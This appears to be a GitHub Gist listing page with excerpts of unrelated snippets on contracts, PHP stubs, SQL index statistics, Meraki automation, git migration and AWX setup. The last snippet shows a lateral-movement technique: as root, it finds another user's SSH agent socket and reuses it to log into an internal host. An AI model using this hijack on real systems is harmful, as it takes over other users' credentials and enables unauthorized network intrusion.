Skip to content

Instantly share code, notes, and snippets.

View ctrl-freak's full-sized avatar

Bryce Sheehan ctrl-freak

View GitHub Profile
@jrioscloud
jrioscloud / Contract Killer 3.md
Created February 11, 2016 05:35
The latest version of my ‘killer contract’ for web designers and developers

Contract Killer

The popular open-source contract for web designers and developers by Stuff & Nonsense

  • Originally published: 23rd December 2008
  • Revised date: October 8th 2015
  • Original post

@skymarionsky
skymarionsky / _autocomplete.php
Last active June 1, 2016 11:43 — forked from kenjis/_autocomplete.php
For FuelPHP, works on PHPStorm.
<?php
class Asset_Instance extends Fuel\Core\Asset_Instance {}
class Cache_Handler_Json extends Fuel\Core\Cache_Handler_Json {}
class Cache_Handler_Serialized extends Fuel\Core\Cache_Handler_Serialized {}
class Cache_Handler_String extends Fuel\Core\Cache_Handler_String {}
class Cache_Storage_Apc extends Fuel\Core\Cache_Storage_Apc {}
abstract class Cache_Storage_Driver extends Fuel\Core\Cache_Storage_Driver {}
class Cache_Storage_File extends Fuel\Core\Cache_Storage_File {}
class Cache_Storage_Memcached extends Fuel\Core\Cache_Storage_Memcached {}
$symbols = [PSCustomObject] @{
SMILEY_WHITE = ([char]9786)
SMILEY_BLACK = ([char]9787)
GEAR = ([char]9788)
HEART = ([char]9829)
DIAMOND = ([char]9830)
CLUB = ([char]9827)
SPADE = ([char]9824)
CIRCLE = ([char]8226)
NOTE1 = ([char]9834)
@othtim
othtim / gist:5936927
Last active October 24, 2018 00:42
shows reads/writes on all tables in a DB as percentages. for choosing better indexes
--show stats on table reads/writes
Select
object_schema_name(UStat.object_id) + '.' + object_name(UStat.object_id) As [Object Name],
Case
When sum(User_Updates + User_Seeks + User_Scans + User_Lookups) = 0
Then Null
Else convert(decimal(5,2),round(Cast(sum(User_Seeks + User_Scans + User_Lookups) As Decimal)
/ Cast(sum(User_Updates
@othtim
othtim / gist:5936956
Created July 5, 2013 20:14
stats in pre- and post- reindex fragmentation
--save PRE stats on index fragmentation
IF OBJECT_ID('tempdb..#tmp_PRE_reindex', 'U') IS NOT NULL DROP TABLE #tmp_PRE_reindex
SELECT
ROW_NUMBER() over (order by sDips.index_id) as 'rowid',
OBJECT_NAME(sDips.OBJECT_ID) as 'objid',
@yujiterada
yujiterada / meraki_update_psk.py
Last active November 27, 2019 03:18
Update Meraki PSK periodically with AWS Lambda + CloudWatch Events
import boto3
from botocore.vendored import requests
from botocore.exceptions import ClientError
import json
import random
import string
import os
import logging
@CESARDELATORRE
CESARDELATORRE / git.migrate
Created October 10, 2016 18:51 — forked from niksumeiko/git.migrate
Moving git repository and all its branches, tags to a new remote repository keeping commits history
#!/bin/bash
# Sometimes you need to move your existing git repository
# to a new remote repository (/new remote origin).
# Here are a simple and quick steps that does exactly this.
#
# Let's assume we call "old repo" the repository you wish
# to move, and "new repo" the one you wish to move to.
#
### Step 1. Make sure you have a local copy of all "old repo"
### branches and tags.
@axieum
axieum / BAT File Add to New Context Menu.reg
Last active November 10, 2020 03:08
Windows 10 Quality of Life Tools
Windows Registry Editor Version 5.00
[HKEY_CLASSES_ROOT\.bat\ShellNew]
"NullFile"=""
@davivcgarcia
davivcgarcia / awx_install.md
Last active March 14, 2021 05:41
Ansible AWX - Basic Install Example @ RHEL 7

Ansible AWX - Basic Install Example @ RHEL 7

  1. Enable proper repositories:
subscription-manager repos --disable="*" \
                           --enable=rhel-7-server-rpms \
                           --enable=rhel-7-server-extras-rpms

Here's one of my favorite techniques for lateral movement: SSH agent forwarding. Use a UNIX-domain socket to advance your presence on the network. No need for passwords or keys.

root@bastion:~# find /tmp/ssh-* -type s
/tmp/ssh-srQ6Q5UpOL/agent.1460

root@bastion:~# SSH_AUTH_SOCK=/tmp/ssh-srQ6Q5UpOL/agent.1460 ssh user@internal.company.tld

user@internal:~$ hostname -f
internal.company.tld